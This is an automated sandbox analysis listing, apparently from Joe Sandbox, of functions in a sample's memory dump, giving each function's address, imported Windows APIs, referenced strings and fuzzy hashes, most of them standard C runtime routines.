Function 00007FF6C7860190 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 506COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C7860486
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C7860782

Strings

%, xrefs: 00007FF6C78607B4
+, xrefs: 00007FF6C78607D1

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: %$+
API String ID: 3668304517-2626897407
Opcode ID: 0fd9ca557f51245f4f5995841fae7dfbce88245f711088f79452f8c2057a3195
Instruction ID: 25438a26ec436e8ef7cf7f32674f718d2ab4149cfd3fe61d465c0314c58d9b04
Opcode Fuzzy Hash: 0fd9ca557f51245f4f5995841fae7dfbce88245f711088f79452f8c2057a3195
Instruction Fuzzy Hash: 03123262B29A859AFB218F64D4407FD2B62AF54789F044231DF8DDBBC9DE3CD6818304

Function 00007FF6C7868324 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6C7868350
GetCurrentThreadId.KERNEL32 ref: 00007FF6C786835E
GetCurrentProcessId.KERNEL32 ref: 00007FF6C786836A
QueryPerformanceCounter.KERNEL32 ref: 00007FF6C786837A

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 818f159f9ec60d8a3ccb8a97ee649dedb74a51f05c8d932addb4446d8bd33583
Instruction ID: dd5d42438adc3caf7441d4f493b21ae8bdceab5602bf7a6addf2789f7f91a7d9
Opcode Fuzzy Hash: 818f159f9ec60d8a3ccb8a97ee649dedb74a51f05c8d932addb4446d8bd33583
Instruction Fuzzy Hash: 9F112E22B15F0289EB40CF60E8552B837A4FB59769F440E35DBADC6BA4EF78D1548340

Function 00007FF6C787F064 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 255COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C787F0AF

Part of subcall function 00007FF6C7874AA8: IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6C7874AB1
Part of subcall function 00007FF6C7874AA8: GetCurrentProcess.KERNEL32 ref: 00007FF6C7874AD6

Strings

PATH, xrefs: 00007FF6C787F15A
\, xrefs: 00007FF6C787F214

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor_invalid_parameter_noinfo
String ID: PATH$\
API String ID: 4036615347-1896636505
Opcode ID: b5f7bab1f60810648718f3c02c55f217caa7c3f8a4d0087c22107651c7a4ea02
Instruction ID: 1cc9f569ac57df007544c62bbacd84233d9a4af12ea7c8a3fe7a692778b92d59
Opcode Fuzzy Hash: b5f7bab1f60810648718f3c02c55f217caa7c3f8a4d0087c22107651c7a4ea02
Instruction Fuzzy Hash: AD91DF62F1F64285FB249F6294512BD2EA16F44B9AF044835FF9F877C6CE3CA842C211

Function 00007FF6C78873A0 Relevance: 4.7, APIs: 3, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C787AB80: GetLastError.KERNEL32 ref: 00007FF6C787AB8F
Part of subcall function 00007FF6C787AB80: FlsGetValue.KERNEL32 ref: 00007FF6C787ABA4
Part of subcall function 00007FF6C787AB80: SetLastError.KERNEL32 ref: 00007FF6C787AC2F

Part of subcall function 00007FF6C787AB80: FlsSetValue.KERNEL32 ref: 00007FF6C787ABC5

GetLocaleInfoW.KERNEL32 ref: 00007FF6C788740C

Part of subcall function 00007FF6C7882F48: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7882F65

GetLocaleInfoW.KERNEL32 ref: 00007FF6C7887455

Part of subcall function 00007FF6C7882F48: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7882FBE

GetLocaleInfoW.KERNEL32 ref: 00007FF6C788751D

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: InfoLocale$ErrorLastValue_invalid_parameter_noinfo
String ID:
API String ID: 1791019856-0
Opcode ID: 15323dc35b5380643afaccb17bbbf6fafcd5fe42be2b6f7b592aefd2fcf5f8a7
Instruction ID: 7cb52aa57fdab4f507f338885fd4cdc68d30c1bb73407e154f6de60737a1853a
Opcode Fuzzy Hash: 15323dc35b5380643afaccb17bbbf6fafcd5fe42be2b6f7b592aefd2fcf5f8a7
Instruction Fuzzy Hash: 73618C72A0A6428AEB348F65E5802B97BB1FB94756F048236CBDED3691DF3CE451C740

Function 00007FF6C787B6D8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00007FF6C787B74C

Strings

GetLocaleInfoEx, xrefs: 00007FF6C787B6F4, 00007FF6C787B705

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 34e2741d719a7a770bcff6fdfcbe398c556670bf37dfd0e5683877c0dc1a574d
Instruction ID: 25773cbb31b3dcafe5f296c5f3aeb7c32d319ba09a9235bc61c34dcf4522ad40
Opcode Fuzzy Hash: 34e2741d719a7a770bcff6fdfcbe398c556670bf37dfd0e5683877c0dc1a574d
Instruction Fuzzy Hash: 1701A221B09B8196E7409F46F8400AAAF62AF95FC1F984035EF8ED7BA6CE3CD5418340

Function 00007FF6C787FFBC Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF6C788020B
RaiseException.KERNEL32 ref: 00007FF6C788021C

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: c0a8521e5f2ef04fb7a2e72cf07a7afd390bef3cd1bd9ca472db5c0cfa77226a
Instruction ID: 66240fb96fd28dc82652e2164595baed8fc8ac4e78e605f90c0136b024530e0e
Opcode Fuzzy Hash: c0a8521e5f2ef04fb7a2e72cf07a7afd390bef3cd1bd9ca472db5c0cfa77226a
Instruction Fuzzy Hash: 2BB15877A05B898AEB55CF29C8863683BA0F784B49F148932DBAD877A4CF39D451C700

Function 00007FF6C7871DCC Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF6C787217C
, xrefs: 00007FF6C7871F3A

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: ea54e483821b9b585bba927afcc53d8d4122b8042ca37fd65b9a449894c8b1f5
Instruction ID: c65627d794b6ecd0d456b198c59605386a22e59a84f581b636013469566dd079
Opcode Fuzzy Hash: ea54e483821b9b585bba927afcc53d8d4122b8042ca37fd65b9a449894c8b1f5
Instruction Fuzzy Hash: 81E1A432F1A64686EB688F2585501397BB0FF85B8AF145235EB9F83B94DF39E841C740

Function 00007FF6C7889940 Relevance: 2.8, Strings: 2, Instructions: 299COMMON

Download Yara Rule

Strings

Syst, xrefs: 00007FF6C7889983
emRo, xrefs: 00007FF6C788998C

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Heap$AllocateErrorFreeLast_invalid_parameter_noinfo
String ID: Syst$emRo
API String ID: 3343701069-2127360862
Opcode ID: 9d07e6c32548864c38c6faaaf968178281bc58e58e2cd6ab6700fd2e8a7205e9
Instruction ID: 08c20e2bd070c57dce0ff8b8904c9e14575a3630d6467ac0b3b4c7408c0ab021
Opcode Fuzzy Hash: 9d07e6c32548864c38c6faaaf968178281bc58e58e2cd6ab6700fd2e8a7205e9
Instruction Fuzzy Hash: 53B1CF22F0A6A685FB10DF6298402BE2F95AB45B95F544532EFDE977C6DE3CE442C300

Function 00007FF6C787D534 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF6C787D6BE
e+000, xrefs: 00007FF6C787D641

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: 48b83eaa1f7a4ed3201df91a3c56949a8b18634d0d61c8869b8135d0c886aac4
Instruction ID: f1b0e29ee7bf08f7d5dd0dc9a29fb0b48c3b84d12a619f10bad59beed1cc3908
Opcode Fuzzy Hash: 48b83eaa1f7a4ed3201df91a3c56949a8b18634d0d61c8869b8135d0c886aac4
Instruction Fuzzy Hash: 46515662B1DAC586E7248F35A802769AFD1E744B94F48C232EBEDCBAC5CE3DD4418710

Function 00007FF6C7884518 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: d0e445866eaa508503fb2f36fe486fea29bc6fd6049b1895d0e72a7f8bbc9763
Instruction ID: 9c9a1a57b198871475cddb491fd94e0443e51dd099ab4327855495489439ccdb
Opcode Fuzzy Hash: d0e445866eaa508503fb2f36fe486fea29bc6fd6049b1895d0e72a7f8bbc9763
Instruction Fuzzy Hash: A9029122B0F64740FE65AF5198042792F82AF41BA2F544636EFFECA7D2DE3CA4419310

Function 00007FF6C7875A90 Relevance: 1.9, APIs: 1, Instructions: 373COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FF6C7875BD8

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: fb7c3a666b4eeb12f08861890a0b2c40aaef9b1a10d73a0367f06851d4d0ddba
Instruction ID: 8497d2a478c63b876c6d71ba068446f63ff6a07d7640e56bd36339141c5341ea
Opcode Fuzzy Hash: fb7c3a666b4eeb12f08861890a0b2c40aaef9b1a10d73a0367f06851d4d0ddba
Instruction Fuzzy Hash: 0812BC22A09BC586E762CF2894442FD7BA4FB59749F059235EFDD83696EF38E184C300

Function 00007FF6C7885410 Relevance: 1.8, APIs: 1, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e17d682c6eddcbfa79061720344f82b472c676e49693c44b28231fa687ab961
Instruction ID: eea2a4bbbfdca0b37071e60f85454bae67febb6ba7b2d5412ed2ebc2eac8fc80
Opcode Fuzzy Hash: 9e17d682c6eddcbfa79061720344f82b472c676e49693c44b28231fa687ab961
Instruction Fuzzy Hash: 5BE18136A05B8586E720DF61E4406EE2BA4FB55B89F404536DFDD93B96EF38E245C300

Function 00007FF6C78875F0 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C787AB80: GetLastError.KERNEL32 ref: 00007FF6C787AB8F
Part of subcall function 00007FF6C787AB80: FlsGetValue.KERNEL32 ref: 00007FF6C787ABA4
Part of subcall function 00007FF6C787AB80: SetLastError.KERNEL32 ref: 00007FF6C787AC2F

Part of subcall function 00007FF6C787AB80: FlsSetValue.KERNEL32 ref: 00007FF6C787ABC5

GetLocaleInfoW.KERNEL32 ref: 00007FF6C7887658

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLastValue$InfoLocale
String ID:
API String ID: 673564084-0
Opcode ID: 21647bf5f1a901581b2b781f098888927de3e691a800cdebd1af8b94364231a1
Instruction ID: 585364f6b397be27bd6651a9bf89a86f44d510b232e70cfac87d943387c14482
Opcode Fuzzy Hash: 21647bf5f1a901581b2b781f098888927de3e691a800cdebd1af8b94364231a1
Instruction Fuzzy Hash: 1D318231A0A68286EF24CF79D8413BA77A1FB94786F448136DB9DC3295DF3CE4418740

Function 00007FF6C7887238 Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6C787AB80: GetLastError.KERNEL32 ref: 00007FF6C787AB8F
Part of subcall function 00007FF6C787AB80: FlsGetValue.KERNEL32 ref: 00007FF6C787ABA4
Part of subcall function 00007FF6C787AB80: SetLastError.KERNEL32 ref: 00007FF6C787AC2F

EnumSystemLocalesW.KERNEL32 ref: 00007FF6C78872D6

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 0e8d1c017c5861b24aa1ef3d3dc2e4b713c0188c8889f777299288a34aaa34eb
Instruction ID: 2cc409326ab9ff92502ce05b10bc1e68179b98da5ed793cc31e310d829515eac
Opcode Fuzzy Hash: 0e8d1c017c5861b24aa1ef3d3dc2e4b713c0188c8889f777299288a34aaa34eb
Instruction Fuzzy Hash: DD11D563E096458AEF148FA5D0806A87BB1FB90BE1F448136D7AA833D0DF28D5D1C740

Function 00007FF6C78877F8 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C787AB80: GetLastError.KERNEL32 ref: 00007FF6C787AB8F
Part of subcall function 00007FF6C787AB80: FlsGetValue.KERNEL32 ref: 00007FF6C787ABA4
Part of subcall function 00007FF6C787AB80: SetLastError.KERNEL32 ref: 00007FF6C787AC2F

GetLocaleInfoW.KERNEL32 ref: 00007FF6C788782F

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$InfoLocaleValue
String ID:
API String ID: 3796814847-0
Opcode ID: 0100511da3805244c625c78d0f533c9f71f1739b1ffbf849090cd61871dba526
Instruction ID: 91b01be53ff54df46ce7e0b7c8203319e6e67464ee4ad6300ca9bcecb2d504a9
Opcode Fuzzy Hash: 0100511da3805244c625c78d0f533c9f71f1739b1ffbf849090cd61871dba526
Instruction Fuzzy Hash: C4113D31F1955343EB748F75A04077E6A71EB40795F148632D7AEC36C4DE29D881C704

Function 00007FF6C7887308 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6C787AB80: GetLastError.KERNEL32 ref: 00007FF6C787AB8F
Part of subcall function 00007FF6C787AB80: FlsGetValue.KERNEL32 ref: 00007FF6C787ABA4
Part of subcall function 00007FF6C787AB80: SetLastError.KERNEL32 ref: 00007FF6C787AC2F

EnumSystemLocalesW.KERNEL32 ref: 00007FF6C7887386

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: ab0cf64d4b8a740bd5d095198b743bc8c854ebfc907ebb3f9193b94a9f782d04
Instruction ID: 454d4c504dc5ba8f7673c095cfd3f9c9d20781062477fccba2cf3b1c0dd39084
Opcode Fuzzy Hash: ab0cf64d4b8a740bd5d095198b743bc8c854ebfc907ebb3f9193b94a9f782d04
Instruction Fuzzy Hash: 4F01B562F0D28286EB144F65E4407BD7AB2EB507A6F959332DBA9872D4DF6C94808701

Function 00007FF6C787B258 Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32 ref: 00007FF6C787B2A7

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: f613039b7d118f41c0f625fe762bedf4ea5f82c7899df0ef6764e50c599faac5
Instruction ID: 34c489adfeb1cb35ca26487e75ec9caa49fa5d20aca7976dee3c639f0324d2dc
Opcode Fuzzy Hash: f613039b7d118f41c0f625fe762bedf4ea5f82c7899df0ef6764e50c599faac5
Instruction Fuzzy Hash: 34F08C72B09B4582E700CF15F8801A977A1EB98B92F548035EB9DC33A4DE3CD4918300

Function 00007FF6C787D0A0 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF6C787D3E2

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: 7b92824c244248fa0c54466571ceda96fe47a8a71a3eac57a03e6d23568c176a
Instruction ID: 41aad8af0c5425743a924ac6e76f24c7fe55bbd94687c73aa3613d0c128e4137
